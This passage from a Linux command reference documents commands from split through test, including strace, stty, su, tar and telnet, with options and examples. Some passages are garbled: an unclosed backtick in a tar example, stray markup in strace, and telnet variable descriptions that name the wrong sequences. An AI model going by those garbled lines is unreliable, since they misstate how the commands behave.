Print a help message and then exit.

--verbose

Print a message for each output file.

--version

Print version information and then exit.

-

Take input from the standard input.

Examples

Break bigfile into 1000-line segments:

split bigfile

Join four files, then split them into 10-line files named new.aa, new.ab, and so on. Note that without the -, new. would be treated as a nonexistent input file:

cat list[1-4] | split -10 - new.
stat

stat filename [filenames . . . ]

Print out the contents of an inode as they appear to the stat system call in a human-readable format. The error messages "Can't stat file" or "Can't lstat file" usually mean the file doesn't exist. "Can't readlink file" generally indicates that something is wrong with a symbolic link.

Output

Sample output from the command:

stat /
  File: "/"
  Size: 1024         Filetype: Directory
  Mode: (0755/drwxr-xr-x)  Uid: (  0/  root) Gid: (  0/  system)
Device: 3,3   Inode: 2        Links: 21
Access: Tue Apr 11 04:02:01 2000(00000.11:47:35)
Modify: Wed Nov 17 11:46:38 1999(00146.03:02:58)
Change: Wed Nov 17 11:46:38 1999(00146.03:02:58)

strace

strace [options] command [arguments]

Trace the system calls and signals for command and arguments. strace shows you how data is passed between the program and the system kernel. With no options, strace prints a line to stderr for each system call. It shows the call name, arguments given, the return value, and any error messages generated. A signal is printed with both its signal symbol and a descriptive string.

Options

-a n

Align the return values in column n.

-c

Count all calls and signals and create a summary report when the program has ended.

-d

Debug mode. Print debugging information for strace on stderr.

-e keyword[=[!]values

Pass an expression to strace to limit the types of calls or signals that are traced or change how they are displayed. The values for these expressions can be given as a comma-separated list. Preceding the list with an exclamation mark (!) negates the list. The special values of all and none are valid, as are the values listed with the following keywords.

abbrev=names

Abbreviate output from large structures for system calls listed in names.

read=descriptors

Print all data read from the given file descriptors.

signal=symbols

Trace the listed signal symbols (for example, signal=SIGIO,SIGHUP).

trace=values

Trace the listed values. values may be a list of system call names or one of the following sets of system calls:

file | Calls that take a filename as an argument
ipc | Interprocess communication
network | Network-related
process | Process management
signal | Signal-related
verbose=names

Unabbreviate structures for the given system call names. Default is none.

write=descriptors

Print all data written to the given file descriptors.

-f

Trace forked processes.

-ff

Write system calls for forked processes to separate files named filename.pid when using the -o option.

-h

Print help and exit.

-i

Print instruction pointer with each system call.

-o filename

Write output to filename instead of stderr. If filename starts with the pipe symbol |, treat the rest of the name as a command to which output should be piped.

-O n

Override strace's built-in timing estimates, and just subtract n microseconds from the timing of each system call to adjust for the time it takes to measure thestentry> call.

-p pid

Attach to the given process ID and begin tracking. strace can track more than one process if more than one option -p is given. Type Ctrl-c to end the trace.

-q

Quiet mode. Suppress attach and detach messages from strace.

-r

Relative timestamp. Print time in microseconds between system calls.

-s n

Print only the first n characters of a string. Default value is 32.

-S value

Sort output of -c option by the given value. value may be calls, name, time, or nothing. By default it is sorted by time.

-T

Print time spent in each system call.

-t

Print time of day on each line of output.

-tt

Print time of day with microseconds on each line of output.

-ttt

Print timestamp on each line as number of seconds since the Epoch.

-u username

Run command as username. Needed when tracing setuid and setgid programs.

-V

Print version and exit.

-v

Verbose. Do not abbreviate structure information.

-x

Print all non-ASCII strings in hexadecimal.

-xx

Print all strings in hexadecimal.

strfile

strfile [options] input_file [output_file]

unstr [-c delimiter] input_file[.ext] [output_file]

strfile creates a random-access file for storing strings. The input file should be a file containing groups of lines separated by a line containing a single percent sign (or other specified delimiter character). strfile creates an output file that contains a header structure and a table of file offsets for each group of lines, allowing random access of the strings. The output file, if not specified on the command line, is named sourcefile.dat. unstr undoes the work of strfile, printing out the strings contained in the input file in the order that they are listed in the header file data. If no output file is specified, unstr prints to standard output; otherwise, it prints to the file specified. unstr can also globally change the delimiter character in a strings file.

Options

Of the following options, only -c can be used with unstr. All other options apply to strfile alone.

-c delimiter

Change the delimiting character from the percent sign to delimiter. Valid for both strfile and unstr.

-i

Ignore case when ordering the strings.

-o

Order the strings alphabetically.

-r

Randomize access to the strings.

-s

Run silently; don't give a summary message when finished.

-x

Set the STR_ROTATED bit in the header str_flags field.

strings

strings [options] files

Search each file specified and print any printable character strings found that are at least four characters long and followed by an unprintable character.

Options

-, -a, --all

Scan entire object files; default is to scan only the initialized and loaded sections for object files.

-f, --print-file-name

Print the name of the file before each string.

-min-len, -n min-len, --bytes=min-len

Print only strings that are at least min-len characters.

-t base, --radix=base

Print the offset within the file before each string, in the format specified by base:

d

Decimal

o

Octal

x

Hexadecimal

--target=format

Specify an alternative object code format to the system default.

-o

Same as -t o.

--help

Print help message and then exit.

-v, --version

Print version information and then exit.

strip

strip [options] files

Remove symbols from object files, thereby reducing file sizes and freeing disk space.

Options

-F format, --target=format

Expect the input file to be in the format format.

-O format, --output-target=format

Write output file in format.

-R section, --remove-section=section

Delete section.

-s, --strip-all

Strip all symbols.

-S, -g,--strip-debug

Strip debugging symbols.

-x, --discard-all

Strip nonglobal symbols.

-X, --discard-locals

Strip local symbols that were generated by the compiler.

-v, --verbose

Verbose mode.

stty

stty [options] [modes]

Set terminal I/O options for the current standard input device. Without options, stty reports the terminal settings that differ from those set by running stty sane, where a ^ indicates the Ctrl key and ^` indicates a null value. Most modes can be negated using an optional - (shown in brackets). The corresponding description is also shown in brackets. Some arguments use non-POSIX extensions; these are marked with a *.

Options

-a, --all

Report all option settings.

-g

Report settings in hex.

Control modes

n

Set terminal baud rate to n (e.g., 2400).

[-]clocal

[Enable] disable modem control.

[-]cread

[Disable] enable the receiver.

cs bits

Set character size to bits, which must be 5, 6, 7, or 8.

[-]cstopb

[1] 2 stop bits per character.

[-]hup

[Do not] hang up connection on last close.

[-]hupcl

Same as previous.

ispeed n

Set terminal input baud rate to n.

ospeed n

Set terminal output baud rate to n.

[-]parenb

[Disable] enable parity generation and detection.

[-]parodd

Use [even] odd parity.

[-]crtscts*

[Disable]enable RTS/CTS handshaking.

Flow control modes

The following flow control modes are available by combining the ortsfl, ctsflow, and rtsflow flags:

Flag Settings | Flow Control Mode
ortsfl rtsflow ctsflow | Enable unidirectional flow control.
ortsfl rtsflow -ctsflow | Assert RTS when ready to send.
ortsfl -rtsflow ctsflow | No effect.
ortsfl -rtsflow -ctsflow | Enable bidirectional flow control.
-ortsfl rtsflow ctsflow | Enable bidirectional flow control.
-ortsfl rtsflow -ctsflow | No effect.
-ortsfl -rtsflow ctsflow | Stop transmission when CTS drops.
-ortsfl -rtsflow -ctsflow | Disable hardware flow control.

Input modes

[-]brkint

[Do not] signal INTR on break.

[-]icrnl

[Do not] map CR to NL on input.

[-]ignbrk

[Do not] ignore break on input.

[-]igncr

[Do not] ignore CR on input.

[-]ignpar

[Do not] ignore parity errors.

[-]inlcr

[Do not] map NL to CR on input.

[-]inpck

[Disable] enable input parity checking.

[-]istrip

[Do not] strip input characters to 7 bits.

[-]iuclc*

[Do not] map uppercase to lowercase on input.

[-]ixany*

Allow [XON] any character to restart output.

[-]ixoff [-]tandem

[Do not] send START/STOP characters when queue is nearly empty/full.

[-]ixon

[Disable] enable START/STOP output control.

[-]parmrk

[Do not] mark parity errors.

[-]imaxbel*

When input buffer is too full to accept a new character, [flush the input buffer] beep without flushing the input buffer.

Output modes

bs n

Select style of delay for backspaces (0 or 1).

cr n

Select style of delay for carriage returns (0-3).

ff n

Select style of delay for formfeeds (0 or 1).

nl n

Select style of delay for linefeeds (0 or 1).

tab n

Select style of delay for horizontal tabs (0-3).

vt n

Select style of delay for vertical tabs (0 or 1).

[-]ocrnl*

[Do not] map CR to NL on output.

[-]ofdel*

Set fill character to [NULL] DEL.

[-]ofill*

Delay output with [timing] fill characters.

[-]olcuc*

[Do not] map lowercase to uppercase on output.

[-]onlcr*

[Do not] map NL to CR-NL on output.

[-]onlret*

On the terminal, NL performs [does not perform] the CR function.

[-]onocr*

Do not [do] output CRs at column 0.

[-]opost

[Do not] postprocess output.

Local modes

[-]echo

[Do not] echo every character typed.

[-]echoe, [-]crterase

[Do not] echo ERASE character as BS-space-BS string.

[-]echok

[Do not] echo NL after KILL character.

[-]echonl

[Do not] echo NL.

[-]icanon

[Disable] enable canonical input (ERASE, KILL, WERASE, and RPRINT processing).

[-]iexten

[Disable] enable extended functions for input data.

[-]isig

[Disable] enable checking of characters against INTR, SUSPEND, and QUIT.

[-]noflsh

[Enable] disable flush after INTR or QUIT.

[-]tostop*

[Do not] send SIGTTOU when background processes write to the terminal.

[-]xcase*

[Do not] change case on local output.

[-]echoprt, [-]prterase*

When erasing characters, echo them backward, enclosed in \ and /.

[-]echoctl. [-]ctlecho*

Do not echo control characters literally. Use hat notation (e.g., ^Z).

[-]echoke [-]crtkill*

Erase characters as specified by the echoprt and echoe settings (default is echoctl and echok settings).

Control assignments

ctrl-char c

Set control character to c. ctrl-char is dsusp (flush input and then send stop), eof, eol, eol2 (alternate end-of-line), erase, intr, lnext (treat next character literally), kill, rprnt (redraw line), quit, start, stop, susp, swtch, or werase (erase previous word). c can be a literal control character, a character in hat notation (e.g., ^Z), in hex (must begin with 0x), in octal (must begin with 0), or in decimal. Disable the control character with values of ^- or undef.

min n

Set the minimum number of characters that will satisfy a read until the time value has expired when -icanon is set.

time n

Set the number of tenths of a second before reads time out if the min number of characters have not been read when -icanon is set.

line i

Set line discipline to i (1-126).

Combination modes

cooked

Same as -raw.

[-]evenp [-]parity

Same as [-]parenb and cs[8]7.

[-]parity

Same as [-]parenb and cs[8]7.

ek

Reset ERASE and KILL characters to Ctrl-h and Ctrl-u, their defaults.

[-]lcase

[Un] set xcase, iuclc, and olcuc.

[-]LCASE

Same as [-]lcase.

[-]nl

[Un] set icrnl and onlcr. -nl also unsets inlcr, igncr, ocrnl, and onlret, icrnl, onlcr.

[-]oddp

Same as [-]parenb, [-]parodd, and cs7[8].

[-]raw

[Disable] enable raw input and output (no ERASE, KILL, INTR, QUIT, EOT, SWITCH, or output postprocessing).

sane

Reset all modes to reasonable values.

[-]tabs*

[Expand to spaces] preserve output tabs.

[-]cbreak

Same as -icanon.

[-]pass8

Same as -parenb -istrip cs8.

[-]litout

Same as -parenb -istrip cs8.

[-]decctlq*

Same as -ixany.

crt

Same as echoe echoctl echoke.

dec

Same as echoe echoctl echoke -ixany. Additionally, set INTERRUPT to ^C, ERASE to DEL, and KILL to ^U.

Special settings

ispeed speed

Specify input speed.

ospeed speed

Specify output speed.

rows rows*

Specify number of rows.

cols columns, columns columns*

Specify number of columns.

size*

Display current row and column settings.

line discipline*

Specify line discipline.

speed

Display terminal speed.

su

su [option] [user] [shell_args]

Create a shell with the effective user-ID user. If no user is specified, create a shell for a privileged user (that is, become a superuser). Enter EOF to terminate. You can run the shell with particular options by passing them as shell_args (e.g., if the shell runs sh, you can specify -c command to execute command via sh or -r to create a restricted shell).

Options

-, -l, --login

Go through the entire login sequence (i.e., change to user's environment).

-c command, --command=command

Execute command in the new shell and then exit immediately. If command is more than one word, it should be enclosed in quotes -- for example:

su -c 'find / -name \*.c -print' nobody
-f, --fast

Start shell with -f option. In csh and tcsh, this suppresses the reading of the .cshrc file. In bash, this suppresses filename pattern expansion.

-m, -p, --preserve-environment

Do not reset environment variables.

-s shell, --shell=shell

Execute shell, not the shell specified in /etc/passwd, unless shell is restricted.

--help

Print a help message and then exit.

--version

Print version information and then exit.

sum

sum [options] files

Calculate and print a checksum and the number of (1KB) blocks for file. Useful for verifying data transmission.

Options

-r

The default setting. Use the BSD checksum algorithm.

-s, --sysv

Use alternate checksum algorithm as used on System V. The blocksize is 512 bytes.

--help

Print a help message and then exit.

--version

Print the version number and then exit.

swapdev

swapdev [option] [image [swapdevice [offset]]]

System administration command. If no arguments are given, display usage information about the swap device. If just the location of the kernel image is specified, print the information found there. To change that information, specify the new swapdevice. You may also specify the offset in the kernel image to change. Note that rdev -s is a synonym for swapdev.

Option

-o offset

Synonymous to specifying an offset as an argument.

swapoff

swapoff -a | device ...

System administration command. Stop making the listed devices available for swapping and paging.

Option

-a

Consult /etc/fstab for devices marked sw. Use those in place of the device argument.

swapon

swapon [options] device ...

System administration command. Make the listed devices available for swapping and paging.

Options

-a

Consult /etc/fstab for devices marked sw. Use those in place of the device argument.

-p priority

Specify a priority for the swap area. Higher priority areas will be used up before lower priority areas are used.

sync

sync

System administration command. Write filesystem buffers to disk. sync executes the sync() system call. If the system is to be stopped, sync must be called to ensure filesystem integrity. Note that shutdown automatically calls sync before shutting down the system. sync may take several seconds to complete, so the system should be told to sleep briefly if you are about to manually call halt or reboot. Note that shutdown is the preferred way to halt or reboot your system, since it takes care of sync-ing and other housekeeping for you.

sysklogd

sysklogd

System administration command. sysklogd, the Linux program that provides syslogd functionality, behaves exactly like the BSD version of syslogd. The difference should be completely transparent to the user. However, sysklogd is coded very differently and supports a slightly extended syntax. It is invoked as syslogd. See also klogd.

Options

-d

Turn on debugging.

-f configfile

Specify alternate configuration file.

-h

Forward messages from remote hosts to forwarding hosts.

-l hostlist

Specify hostnames that should be logged with just their hostname, not their fully qualified domain name. Multiple hosts should be separated with a colon (:).

-m markinterval

Select number of minutes between mark messages.

-n

Avoid autobackgrounding. This is needed when starting syslogd from init.

-p socket

Send log to socket instead of /dev/log.

-r

Receive messages from the network using an Internet domain socket with the syslog service.

-s domainlist

Strip off domain names specified in domainlist before logging. Multiple domain names should be separated by a colon (:).

syslogd

syslogd

TCP/IP command. Log system messages into a set of files described by the configuration file /etc/syslog.conf. Each message is one line. A message can contain a priority code, marked by a number in angle braces at the beginning of the line. Priorities are defined in <sys/syslog.h>. syslogd reads from an Internet domain socket specified in /etc/services. To bring syslogd down, send it a terminate signal.

systat

systat [options] host

System administration command. Get information about the network or system status of a remote host by querying its netstat, systat, or daytime service.

Options

-n, --netstat

Specifically query the host's netstat service.

-p port, --port port

Specify port to query.

-s, --systat

Specifically query the host's systat service.

-t, --time

Specifically query the host's daytime service.

tac

tac [options] [file]

Named for the common command cat, tac prints files in reverse. Without a filename or with -, it reads from standard input. By default, it reverses the order of the lines, printing the last line first.

Options

-b, --before

Print separator (by default a newline) before string that it delimits.

-r, --regex

Expect separator to be a regular expression.

-s string, --separator=string

Specify alternate separator (default is newline).

--help

Print a help message and then exit.

--version

Print version information and then exit.

tail

tail [options] [file]

Print the last 10 lines of the named file (or standard input if - is specified) on standard output.

Options

-n[k]

Begin printing at nth item from end-of-file. k specifies the item to count: l (lines, the default), b (blocks), or c (characters).

-k

Same as -n, but use the default count of 10.

+n[k]

Like -n, but start at nth item from beginning of file.

+k

Like -k, but count from beginning of file.

-c num{bkm}, --bytes num{bkm}

Print last num bytes. An alternate blocksize may be specified:

b

512 bytes

k

1 kilobyte

m

1 megabyte

-f

Don't quit at the end of file; "follow" file as it grows. End when user presses Ctrl-C.

-n num, --lines num

Print last num lines.

-q, --quiet, --silent

Suppress filename headers.

--version

Print version information and then exit.

Examples

Show the last 20 lines containing instances of .Ah:

grep '\.Ah' file | tail -20

Show the last 10 characters of variable name:

echo "$name" | tail -c

Print the last two blocks of bigfile:

tail -2b bigfile
talk

talk person [ttyname]

Talk to another user. person is either the login name of someone on your own machine or user@host on another host. To talk to a user who is logged in more than once, use ttyname to indicate the appropriate terminal name. Once communication has been established, the two parties may type simultaneously, with their output appearing in separate windows. To redraw the screen, type Ctrl-L. To exit, type your interrupt character; talk then moves the cursor to the bottom of the screen and restores the terminal.

talkd

talkd [option]

TCP/IP command. Remote user communication server. talkd notifies a user that somebody else wants to initiate a conversation. A talk client initiates a rendezvous by sending a CTL_MSG of type LOOK_UP to the server. This causes the server to search its invitation tables for an existing invitation for the client. If the lookup fails, the caller sends an ANNOUNCE message, causing the server to broadcast an announcement on the callee's login ports requesting contact. When the callee responds, the local server responds with the rendezvous address, and a stream connection is established through which the conversation takes place.

Option

-d

Write debugging information to the syslogd log file.

tar

tar [options] [tarfile] [other-files]

Copy files to or restore files from an archive medium. If any files are directories, tar acts on the entire subtree. Options need not be preceded by - (though they may be). The exception to this rule is when you are using a long-style option (such as --modification-time). In that case, the exact syntax is:

tar --long-option -function-options files

For example:

tar --modification-time -xvf tarfile.tar

Function options

You must use exactly one of these, and it must come before any other options:

-c, --create

Create a new archive.

-d, --compare

Compare the files stored in tarfile with other-files. Report any differences: missing files, different sizes, different file attributes (such as permissions or modification time).

-r, --append

Append other-files to the end of an existing archive.

-t, --list

Print the names of other-files if they are stored on the archive (if other-files are not specified, print names of all files).

-u, --update

Add files if not in the archive or if modified.

-x, --extract, --get

Extract other-files from an archive (if other-files are not specified, extract all files).

-A, --catenate, --concatenate

Concatenate a second tar file on to the end of the first.

Options

n

Select device n, where n is 0,...,9999. The default is found in /etc/default/tar.

[drive][density]

Set drive (0-7) and storage density (l, m, or h, corresponding to low, medium, or high).

--atime-preserve

Preserve original access time on extracted files.

-b, --block-size=n

Set block size to n × 512 bytes.

--checkpoint

List directory names encountered.

--exclude=file

Remove file from any list of files.

-f arch, --file=filename

Store files in or extract files from archive arch. Note that filename may take the form hostname:filename.

--force-local

Interpret filenames in the form hostname:filename as local files.

-g, --listed-incremental

Create new-style incremental backup.

-h, --dereference

Dereference symbolic links.

-i, --ignore-zeros

Ignore zero-sized blocks (i.e., EOFs).

--ignore-failed-read

Ignore unreadable files to be archived. Default behavior is to exit when encountering these.

-k, --keep-old-files

When extracting files, do not overwrite files with similar names. Instead, print an error message.

-l, --one-file-system

Do not archive files from other file systems.

-m, --modification-time

Do not restore file modification times; update them to the time of extraction.

--null

Allow filenames to be null-terminated with -T. Override -C.

--old, --portability, --preserve

Equivalent to invoking both the -p and -s options.

-p, --same-permissions, --preserve-permissions

Keep ownership of extracted files same as that of original permissions.

--remove-files

Remove originals after inclusion in archive.

--rsh-command=command

Do not connect to remote host with rsh; instead, use command.

-s, --same-order, --preserve-order

When extracting, sort filenames to correspond to the order in the archive.

--totals

Print byte totals.

--use-compress-program=program

Compress archived files with program, or uncompress extracted files with program.

-v, --verbose

Verbose. Print filenames as they are added or extracted.

-w, --interactive

Wait for user confirmation (y) before taking any actions.

-z, --gzip, --ungzip

Compress files with gzip before archiving them, or uncompress them with gunzip before extracting them.

-C, --directory=directory

cd to directory before beginning tar operation.

-F, --info-script, --new-volume-script=script

Implies -M (multiple archive files). Run script at the end of each file.

-G, --incremental

Create old-style incremental backup.

-K file, --starting-file file

Begin tar operation at file file in archive.

-L, --tape-length=length

Write a maximum of length × 1024 bytes to each tape.

-M, --multivolume

Expect archive to multivolume. With -c, create such an archive.

-N date, --after-date date

Ignore files older than date.

-O, --to-stdout

Print extracted files on standard out.

-P, --absolute-paths

Do not remove initial slashes (/) from input filenames.

-R, --record-number

Display archive's record number.

-S, --sparse

Treat short file specially and more efficiently.

-T filename, --files-from filename

Consult filename for files to extract or create.

-V name, --label=name

Name this volume name.

-W, --verify

Check archive for corruption after creation.

-X file, --exclude file

Consult file for list of files to exclude.

-Z, --compress, --uncompress

Compress files with compress before archiving them, or uncompress them with uncompress before extracting them.

Examples

Create an archive of /bin and /usr/bin (c), show the command working (v), and store on the tape in /dev/rmt0:

tar cvf /dev/rmt0 /bin /usr/bin

List the tape's contents in a format like ls -l:

tar tvf /dev/rmt0

Extract the /bin directory:

tar xvf /dev/rmt0 /bin

Create an archive of the current directory and store it in a file backup.tar:

tar cvf - `find . -print   > backup.tar

(The - tells tar to store the archive on standard output, which is then redirected.)

tcpd

tcpd

TCP/IP command. Monitor incoming TCP/IP requests (such as those for telnet, ftp, finger, exec, rlogin). Provide checking and logging services; then pass the request to the appropriate daemon.

tcpdchk

tcpdchk [options]

TCP/IP command. Consult the TCP wrapper configuration (in /etc/hosts.allow and /etc/hosts.deny); display a list of all possible problems with it; attempt to suggest possible fixes.

Options

-a

Include a list of rules; do not require an ALLOW keyword before allowing sites to access the local host.

-d

Consult ./hosts.allow and ./hosts.deny instead of /etc/hosts.allow and /etc/hosts.deny.

-i conf-file

Specify location of inetd.conf or tlid.conf file. These are files that tcpdchk automatically uses in its evaluation of TCP wrapper files.

-v

Verbose mode.

tcpdmatch

tcpdmatch [options] daemon client

TCP/IP command. Predict the TCP wrapper's response to a specific request. You must specify which daemon the request is made to (the syntax may be daemon@host for requests to remote machines) and the client from which the request originates (the syntax may be user@client for a specific user or a wildcard). Consult /etc/hosts.allow and /etc/hosts.deny to determine the TCP wrapper's actions.

Options

-d

Consult ./hosts.allow and ./hosts.deny instead of /etc/hosts.allow and /etc/hosts.deny.

-i conf-file

Specify location of inetd.conf or tlid.conf file. These are files that tcpdmatch automatically uses in its evaluation of TCP wrapper files.

tcsh

tcsh [options] [file [arguments]]

An extended version of the C shell, a command interpreter into which all other commands are entered. For more information, see Chapter 8, "csh and tcsh".

tee

tee [options] files

Accept output from another command and send it both to the standard output and to files (like a T or fork in a road).

Options

-a, --append

Append to files; do not overwrite.

-i, --ignore-interrupts

Ignore interrupt signals.

--help

Print a help message and then exit.

--version

Print version information and then exit.

Example

ls -l | tee savefile    View listing and save for later
telinit

telinit [option] [runlevel]

System administration command. Signal init to change the system's runlevel. telinit is actually just a link to init, the ancestor of all processes.

Option

-t seconds

Send SIGKILL seconds after SIGTERM. Default is 20.

Runlevels

The default runlevels vary from distribution to distribution, but these are standard:

0

Halt the system.

1, s, S

Single user.

6

Reboot the system.

a, b, c

Process only entries in /etc/inittab that are marked with run level a, b, or c.

q, Q

Reread /etc/inittab.

Check the /etc/inittab file for runlevels on your system.

telnet

telnet [options] [host [port ]]

Access remote systems. telnet is the user interface that communicates with another host using the Telnet protocol. If telnet is invoked without host, it enters command mode, indicated by its prompt, telnet>, and accepts and executes the commands listed after the following options. If invoked with arguments, telnet performs an open command (shown in the following list) with those arguments. host indicates the host's official name. port indicates a port number (default is the Telnet port).

Options

-a

Automatic login into the remote system.

-d

Turn on socket-level debugging.

-e [escape_char]

Set initial telnet escape character to escape_char. If escape_char is omitted, there will be no predefined escape character.

-l user

When connecting to remote system and if remote system understands ENVIRON, send user to the remote system as the value for variable USER.

-n tracefile

Open tracefile for recording the trace information.

-r

Emulate rlogin: the default escape character is a tilde (~); an escape character followed by a dot causes telnet to disconnect from the remote host; a ^Z instead of a dot suspends telnet; and a ] (the default telnet escape character) generates a normal telnet prompt. These codes are accepted only at the beginning of a line.

-8

Request 8-bit operation.

-E

Disable the escape character functionality.

-L

Specify an 8-bit data path on output.

-S tos

Set the IP type-of-service (TOS) option for the Telnet connection to the value tos.

Commands

CTRL-Z

Suspend telnet.

! [command]

Execute a single command in a subshell on the local system. If command is omitted, an interactive subshell will be invoked.

? [command]

Get help. With no arguments, print a help summary. If a command is specified, print the help information for just that command.

close

Close a Telnet session and return to command mode.

display argument ...

Display all, or some, of the set and toggle values.

environ [arguments [...]]

Manipulate variables that may be sent through the TELNET ENVIRON option. Valid arguments for environ are:

?

Get help for the environ command.

define variable value

Define variable to have a value of value.

undefine variable

Remove variable from the list of en vi ronment variables.

export variable

Mark variable to have its value exported to the remote side.

unexport variable

Mark variable to not be exported unless explicitly requested by the remote side.

list

Display current variable values.

logout

If the remote host supports the logout command, close the telnet session.

mode [type]

Depending on state of Telnet session, type is one of several options:

?

Print out help information for the mode command.

character

Disable TELNET LINEMODE option, or, if remote side does not understand the option, enter "character-at-a-time" mode.

[-]edit

Attempt to [disable] enable the EDIT mode of the TELNET LINEMODE option.

[-]isig

Attempt to [disable]enable the TRAPSIG mode of the LINEMODE option.

line

Enable LINEMODE option, or, if remote side does not understand the option, attempt to enter "old line-by-line" mode.

[-]softtabs

Attempt to [disable] enable the SOFT_TAB mode of the LINEMODE option.

[-]litecho

[Disable]enable LIT_ECHO mode.

open[-l user] host [port]

Open a connection to the named host. If no port number is specified, attempt to contact a Telnet server at the default port.

quit

Close any open Telnet session and then exit telnet.

status

Show current status of telnet. This includes the peer one is connected to as well as the current mode.

send arguments

Send one or more special character sequences to the remote host. Following are the arguments that may be specified:

?

Print out help information for send command.

abort

Send Telnet ABORT sequence.

ao

Send Telnet AO sequence, which should cause the remote system to flush all output from the remote system to the user's terminal.

ayt

Send Telnet AYT (Are You There) sequence.

brk

Send Telnet BRK (Break) sequence.

do cmd
dont cmd
will cmd
wont cmd

Send Telnet DO cmd sequence, where cmd is a number between 0 and 255 or a symbolic name for a specific telnet command. If cmd is ? or help, this command prints out help (including a list of symbolic names).

ec

Send Telnet EC (Erase Character) sequence, which causes the remote system to erase the last character entered.

el

Send Telnet EL (Erase Line) sequence, which causes the remote system to erase the last line entered.

eof

Send Telnet EOF (End Of File) sequence.

eor

Send Telnet EOR (End Of Record) sequence.

escape

Send current Telnet escape character (initially ^).

ga

Send Telnet GA (Go Ahead) sequence.

getstatus

If the remote side supports the Telnet STATUS command, getstatus sends the subnegotiation request that the server send its current option status.

ip

Send Telnet IP (Interrupt process) sequence, which causes the remote system to abort the currently running process.

nop

Send Telnet NOP (No operation) sequence.

susp

Send Telnet SUSP (Suspend process) sequence.

synch

Send Telnet SYNCH sequence, which causes the remote system to discard all previously typed (but not read) input.

set argument value
unset argument value

Set any one of a number of telnet variables to a specific value or to TRUE. The special value off disables the function associated with the variable. unset disables any of the specified functions. The values of variables may be interrogated with the aid of the display command. The variables that may be specified are:

?

Display legal set and unset commands.

ayt

If telnet is in LOCALCHARS mode, this character is taken to be the alternate AYT character.

echo

This is the value (initially ^E) which, when in "line-by-line" mode, toggles between doing local echoing of entered characters and suppressing echoing of entered characters.

eof

If telnet is operating in LINEMODE or in the old "line-by-line" mode, entering this character as the first character on a line will cause the character to be sent to the remote system.

erase

If telnet is in LOCALCHARS mode and operating in the "character-at-a-time" mode, then when this character is entered, a Telnet EC sequence will be sent to the remote system.

escape

This is the Telnet escape character (initially ^[), which causes entry into the Telnet command mode when connected to a remote system.

flushoutput

If telnet is in LOCALCHARS mode and the flushoutput character is entered, a Telnet AO sequence is sent to the remote host.

forw1

If Telnet is in LOCALCHARS mode, this character is taken to be an alternate end-of-line character.

forw2

If Telnet is in LOCALCHARS mode, this character is taken to be an alternate end-of-line character.

interrupt

If Telnet AO is in LOCALCHARS mode and the interrupt character is entered, a Telnet IP sequence is sent to the remote host.

kill

If Telnet IP is in LOCALCHARS mode and operating in the "character-at-a-time" mode, then when this character is entered, a Telnet EL sequence is sent to the remote system.

lnext

If Telnet EL is in LINEMODE or in the old "line-by-line" mode, then this character is taken to be the terminal's lnext character.

quit

If Telnet EL is in LOCALCHARS mode and the quit character is entered, a Telnet BRK sequence is sent to the remote host.

reprint

If Telnet BRK is in LINEMODE or in the old "line-by-line" mode, this character is taken to be the terminal's reprint character.

rlogin

Enable rlogin mode. Same as using -r command-line option.

start

If the Telnet TOGGLE-FLOW-CONTROL option has been enabled, this character is taken to be the terminal's start character.

stop

If the Telnet TOGGLE-FLOW-CONTROL option has been enabled, this character is taken to be the terminal's stop character.

susp

If Telnet is in LOCALCHARS mode, or if the LINEMODE is enabled and the suspend character is entered, a Telnet SUSP sequence is sent to the remote host.

tracefile

File to which output generated by netdata is written.

worderase

If Telnet BRK is in LINEMODE or in the old "line-by-line" mode, this character is taken to be the terminal's worderase character. Defaults for these are the terminal's defaults.

slc [state]

Set state of special characters when Telnet LINEMODE option has been enabled.

?

List help on the slc command.

check

Verify current settings for current special characters. If discrepancies are discovered, convert local settings to match remote ones.

export

Switch to local defaults for the special characters.

import

Switch to remote defaults for the special characters.

toggle arguments [...]

Toggle various flags that control how Telnet responds to events. The flags may be set explicitly to true or false using the set and unset commands listed previously. The valid arguments are:

?

Display legal toggle commands.

autoflush

If autoflush and LOCALCHARS are both true, then when the ao or quit characters are recognized, Telnet refuses to display any data on the user's terminal until the remote system acknowledges that it has processed those Telnet sequences.

autosynch

If autosynch and LOCALCHARS are both true, then when the intr or quit character is entered, the resulting Telnet sequence sent is followed by the Telnet SYNCH sequence. Initial value for this toggle is false.

binary

Enable or disable the Telnet BINARY option on both the input and the output.

inbinary

Enable or disable the Telnet BINARY option on the input.

outbinary

Enable or disable the Telnet BINARY option on the output.

crlf

If this toggle value is true, carriage returns are sent as CR-LF. If false, carriage returns are sent as CR-NUL. Initial value is false.

crmod

Toggle carriage return mode. Initial value is false.

debug

Toggle socket level debugging mode. Initial value is false.

localchars

If the value is true, flush, interrupt, quit, erase, and kill characters are recognized locally, then transformed into appropriate Telnet control sequences. Initial value is true.

netdata

Toggle display of all network data. Initial value is false.

options

Toggle display of some internal telnet protocol processing pertaining to Telnet options. Initial value is false.

prettydump

When netdata is enabled, and if prettydump is enabled, the output from the netdata command is reorganized into a more user-friendly format, spaces are put between each character in the output, and an asterisk precedes any Telnet escape sequence.

skiprc

Toggle whether to process ~/.telnetrc file. Initial value is false, meaning the file is processed.

termdata

Toggle printing of hexadecimal terminal data. Initial value is false.

z

Suspend telnet; works only for the csh.

telnetd

telnetd [options]

TCP/IP command. Telnet protocol server. telnetd is invoked by the Internet server for requests to connect to the Telnet port (port 23 by default). telnetd allocates a pseudoterminal device for a client, thereby creating a login process that has the slave side of the pseudoterminal serving as stdin, stdout, and stderr. telnetd manipulates the master side of the pseudoterminal by implementing the Telnet protocol and by passing characters between the remote client and the login process.

Options

-debug [port]

Start telnetd manually instead of through inetd. port may be specified as an alternate TCP port number on which to run telnetd.

-D modifier(s)

Debugging mode. This allows telnet to print out debugging information to the connection, enabling the user to see what telnet is doing. Several modifiers are available for the debugging mode:

exercise

Has not been implemented yet.

netdata

Display data stream received by telnetd.

options

Print information about the negotiation of the Telnet options.

ptydata

Display data written to the pseudo terminal device.

report

Print options information, as well as some additional information about what processing is going on.

test

test expression

[expression]

Also exists as a built-in in most shells.

Evaluate an expression and, if its value is true, return a zero exit status; otherwise, return a nonzero exit status. In shell scripts, you can use the alternate form [expression]. This command is generally used with conditional constructs in shell programs.

File testers

The syntax for all of these options is test option file. If the specified file does not exist, they return false. Otherwise, they will test the file as specified in the option description.

-b

Is the file block special?

-c

Is the file character special?

-d

Is the file a directory?

-e

Does the file exist?

-f

Is the file a regular file?

-g

Does the file have the set-group-ID bit set?

-k

Does the file have the sticky bit set?

-L

Is the file a symbolic link?

-p

Is the file a named pipe?

-r

Is the file readable by the current user?

-s

Is the file nonempty?

-S

Is the file a socket?

